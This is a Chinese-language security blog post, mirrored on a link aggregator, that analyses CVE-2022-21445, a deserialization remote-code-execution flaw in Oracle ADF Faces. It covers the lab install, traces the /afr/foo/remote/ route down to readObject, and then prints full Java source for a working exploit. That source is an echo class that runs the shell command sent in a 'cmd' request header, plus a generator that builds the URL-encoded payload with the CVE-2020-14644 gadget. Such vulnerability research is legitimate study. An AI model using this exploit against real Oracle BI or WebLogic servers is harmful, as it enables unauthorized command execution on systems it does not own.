71

CVE-2022-21445 Oracle ADF Faces 反序列化RCE

 2 years ago
source link: https://y4er.com/post/cve-2022-21445-oracle-adf-faces-deserialization-rce/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

CVE-2022-21445 Oracle ADF Faces 反序列化RCE

安装Oracle19c,安装的时候这里要选AL32UTF8

1.png

接下来会卡在42%,多等一会就好了。

安装fmw_12.2.1.3.0_infrastructure.jar 下一步下一步就行

然后安装bi fmw_12.2.1.4.0_bi_windows64_Disk1 下一步下一步就行了

然后运行rcu.bat

2.png

创建完bi所用的数据库之后运行C:\Oracle\Middleware\Oracle_Home\bi\bin\config.cmd配置bi

3.png

然后就安装完成了。

4.png

修改C:\Oracle\Middleware\Oracle_Home\user_projects\domains\bi\bin\setDomainEnv.cmd 338行

set local_debug=true

然后重启Oracle BI的服务,会在8453端口监听debug

在C:\Oracle\Middleware\Oracle_Home\user_projects\domains\bi\servers\AdminServer\tmp_WL_user\em\fw8wi5\war\WEB-INF\web.xml中 em对应Oracle BI的http://172.16.16.132:9500/em/ 管理界面

5.png

web.xml中定义了几个映射关系

6.png

在org.apache.myfaces.trinidad.webapp.ResourceServlet#doGet中

根据request获取对应的ResourceLoader和resourcePath

_getResourceLoader维护了一个ConcurrentMap存放servletPath和loader的映射关系。

在oracle.adfinternal.view.resource.rich.RenderKitResourceLoader中向map中注册了对应关系

当路由为/em/afr/foo/remote/payload时,会由RemoteApplicationResourceLoader作为doGet中的loader,调用其oracle.adfinternal.view.resource.rich.RemoteApplicationResourceLoader#findResource函数

返回了一个自定义的协议remote和协议处理器RAStreamHandler

RAStreamHandler的openConnection返回一个RAURLConnection实例对象,在其构造函数中

调用_getPathBean

截取到第一个/然后进入oracle.adfinternal.view.rich.remote.resources.URLEncoderPathBean#getInstanceFromString

不断跟进之后就是readObject

说明我们可以通过/em/afr/foo/remote/{encode payload}/的形式来反序列化。

gadget可以用CVE-2020-14644,这里放payload。

回显执行命令

package com.tangosol.internal.util.invoke.lambda;

import com.tangosol.internal.util.invoke.AbstractRemotable;

public class LambdaIdentity$E12ECA49F06D0401A9D406B2DCC7463A extends AbstractRemotable {
    public LambdaIdentity$E12ECA49F06D0401A9D406B2DCC7463A() {
        try {
            weblogic.work.WorkAdapter adapter = ((weblogic.work.ExecuteThread) Thread.currentThread()).getCurrentWork();
            java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
            field.setAccessible(true);
            Object obj = field.get(adapter);
            weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
            weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) obj.getClass().getMethod("getServletResponse").invoke(obj);
            String cmd = req.getHeader("cmd");
            if (cmd != null && !cmd.isEmpty()) {
                Process exec;
                if (System.getProperty("os.name").toLowerCase().contains("win")) {
                    exec = Runtime.getRuntime().exec(new String[]{"cmd", "/c", cmd});
                } else {
                    exec = Runtime.getRuntime().exec(new String[]{"sh", "-c", cmd});
                }
                res.getServletOutputStream().clearBuffer();
                res.getServletOutputStream().writeStream(exec.getInputStream());
                res.getServletOutputStream().flush();
                res.getServletOutputStream().close();
                res.flushBuffer();
            }
        } catch (Exception var1) {
            var1.printStackTrace();
        }
    }
}

生成payload

package com.example.miracle;

import com.tangosol.internal.util.invoke.ClassDefinition;
import com.tangosol.internal.util.invoke.ClassIdentity;
import com.tangosol.internal.util.invoke.RemoteConstructor;
import com.tangosol.internal.util.invoke.lambda.LambdaIdentity;
import oracle.adf.view.rich.util.SerializationUtils;

import java.nio.file.Files;
import java.nio.file.Paths;

public class Main {
    public static void main(String[] args) throws Exception {
        RemoteConstructor remoteConstructor = new RemoteConstructor(
                new ClassDefinition(new ClassIdentity(LambdaIdentity.class), Files.readAllBytes(Paths.get("E:\\tools\\code\\Miracle\\target\\classes\\com\\tangosol\\internal\\util\\invoke\\lambda\\LambdaIdentity$E12ECA49F06D0401A9D406B2DCC7463A.class"))), new Object[]{}
        );
        String s = SerializationUtils.toURLEncodedString(remoteConstructor);
        System.out.println(s);
    }
}

回显复现截图

http://172.16.16.132:9500/em/afr/foo/remote/

http://172.16.16.132:9502/bicomposer/afr/foo/remote/

10.3.6

peterjson和jang在10.3.6上用的是ReflectionExtractor包RemoteInvocation的套娃然后调用ShellSession.eval来rce,记录一下,不做深入了,就是几个cve的综合使用。

打poc时需要注意回显类的类名需要和目标版本对的上才行,具体看kingkk师傅的《CVE-2020-14644分析与gadget的一些思考》

也就是在这个地方com.tangosol.internal.util.invoke.ClassIdentity#ClassIdentity(java.lang.Class<?>)

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK